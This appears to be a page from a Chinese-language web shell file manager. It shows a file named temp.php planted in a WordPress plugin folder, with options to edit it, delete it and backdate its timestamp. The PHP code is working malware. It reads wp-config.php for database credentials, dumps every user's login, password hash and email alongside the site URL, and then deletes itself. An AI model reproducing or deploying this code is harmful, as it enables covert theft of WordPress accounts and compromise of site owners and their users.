文件操作 - temp.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/solsculpting/public_html/wp-content/plugins/responsive-menu/temp.php
编辑文件内容
<?php $startDir = $_SERVER['DOCUMENT_ROOT']; $file = $startDir . '/wp-config.php'; $config = file_get_contents($file); preg_match_all('/define\s*\(\s*[\'"]([A-Z0-9_]+)[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)\s*;/', $config, $matches); if(is_array($matches)){ for($i=0;$i<count($matches[1]);$i++){ if(stristr($matches[1][$i],"DB_NAME")){ $db_name=$matches[2][$i]; } elseif(stristr($matches[1][$i],"DB_USER")){ $db_user=$matches[2][$i]; } elseif(stristr($matches[1][$i],"DB_PASSWORD")){ $db_pass=$matches[2][$i]; } elseif(stristr($matches[1][$i],"DB_HOST")){ $db_host=$matches[2][$i]; } } } preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $config, $mpreffix); if(is_array($mpreffix)&&count($mpreffix)==3){ $table_prefix=$mpreffix[2]; } $mysqli_connection = new mysqli($db_host, $db_user, $db_pass, $db_name); $options_table = $table_prefix . 'options'; $sql_query = "SELECT option_value FROM {$options_table} WHERE option_name='siteurl' LIMIT 1"; $result_object = $mysqli_connection->query($sql_query); if($result_object && $row_data = $result_object->fetch_assoc()){ $site_url_value = $row_data['option_value']; } $users_table = $table_prefix . 'users'; $sql_query = "SELECT ID, user_login, user_pass, user_email, user_nicename FROM {$users_table}"; $result_object = $mysqli_connection->query($sql_query); if ($result_object && $result_object->num_rows > 0) { while ($row_data = $result_object->fetch_assoc()) { echo $site_url_value . "|" . $row_data['user_login'] . "|" . $row_data['user_pass'] . "|" . $row_data['user_email'] . "|" . $row_data['user_nicename']; } } else { echo "No users found"; } $mysqli_connection->close(); unlink('temp.php');
修改文件时间
将文件时间修改为当前时间的前一年
删除文件